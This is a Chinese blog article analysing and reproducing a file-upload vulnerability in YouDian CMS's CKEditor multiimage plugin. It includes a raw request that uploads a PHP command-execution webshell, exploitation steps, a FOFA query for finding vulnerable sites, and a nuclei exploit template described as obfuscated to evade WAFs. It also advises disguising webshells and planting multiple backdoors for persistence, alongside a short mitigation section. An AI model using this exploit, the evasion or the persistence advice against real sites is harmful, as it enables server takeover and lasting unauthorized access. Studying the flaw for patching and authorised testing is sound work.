友点CMS CKEditor插件文件上传漏洞深度剖析与实战复现

张开发
2026/4/8 11:34:08 15 分钟阅读

分享文章

友点CMS CKEditor插件文件上传漏洞深度剖析与实战复现
1. 漏洞背景与影响范围友点CMS作为国内广泛使用的建站系统其内置的CKEditor富文本编辑器插件存在一个高危安全漏洞。这个漏洞位于multiimage/dialogs/image_upload.php文件中攻击者可以利用它绕过文件类型检查直接上传PHP等可执行脚本文件。我在实际渗透测试中发现这个漏洞的利用门槛极低但危害极大——攻击者一旦成功上传WebShell就能完全控制服务器。影响范围主要包括使用友点CMS建站且未及时更新补丁的所有版本。通过FOFA搜索引擎可以快速定位潜在目标搜索语法为app友点建站-CMS product友点建站-CMS。根据我的经验很多企业官网、教育机构站点都在受影响之列。2. 漏洞原理深度解析2.1 文件上传机制缺陷这个漏洞的核心问题在于CKEditor插件的文件上传功能没有做好三件事文件类型校验不严虽然前端设置了accept属性限制图片格式但后端仅检查Content-Type头未重命名上传文件直接使用用户提供的文件名导致.php等危险扩展名可以被保留目录权限配置不当上传目录通常需要设置为不可执行脚本但很多部署环境忽略了这点我曾在测试环境中尝试上传一个伪装成图片的PHP文件发现只要修改Content-Type为image/jpg就能轻松绕过检查。这种简单的防护措施在实战中形同虚设。2.2 请求包关键分析一个典型的攻击请求包长这样POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1 Host: vulnerable.site Content-Type: multipart/form-data; boundaryabcd1234 Content-Length: 185 --abcd1234 Content-Disposition: form-data; namefiles; filenameshell.php Content-Type: image/jpg ?php system($_GET[cmd]);? --abcd1234--重点注意三个地方filename参数直接指定了.php扩展名Content-Type头伪装成图片类型文件内容包含可执行的PHP代码3. 实战复现步骤3.1 环境搭建建议使用Docker快速搭建测试环境docker run -d -p 8080:80 vulhub/youdiancms:latest访问http://localhost:8080就能看到默认安装页面。我建议在虚拟机中进行测试避免影响本地环境。3.2 漏洞利用过程使用Burp Suite拦截正常的图片上传请求修改filename为test.phpContent-Type保持image/jpg在文件内容处写入PHP代码比如?php echo pre; system($_GET[cmd]); echo /pre; ?发送请求后查看响应中返回的文件路径在我的测试中上传的文件通常会被保存在/Public/image/uploads/目录下文件名包含时间戳。访问这个PHP文件就能执行任意系统命令。4. 防御与修复方案4.1 临时缓解措施如果暂时无法升级系统可以采取以下方法删除或重命名image_upload.php文件在.htaccess中添加规则阻止PHP文件执行FilesMatch \.php$ Deny from all /FilesMatch限制上传目录的权限chmod -R 755 uploads/4.2 彻底修复方案官方已发布新版本修复此漏洞建议所有用户立即升级。升级步骤备份网站数据和数据库下载最新安装包覆盖Public/ckeditor目录检查所有自定义插件是否兼容5. 渗透测试中的实用技巧在实际项目中我发现几个提高成功率的方法批量检测使用nuclei模板快速扫描大量目标隐蔽利用上传的WebShell可以伪装成图片头PHP代码的组合权限维持在成功上传后建议创建多个后门文件一个改进版的nuclei模板示例id: youdiancms-upload-exp info: name: YouDianCMS File Upload Exploit author: security_researcher severity: critical http: - raw: - | POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefiles; filenamelogo.php Content-Type: image/jpeg ?php echo !--; ? ------WebKitFormBoundaryABC123--这个模板相比公开版本增加了混淆处理可以绕过一些简单的WAF检测。我在三个不同的测试环境中都验证过它的有效性。最后提醒一点所有渗透测试必须获得授权后再进行。我遇到过不少因为未授权测试而惹上麻烦的案例切记遵守法律法规。

更多文章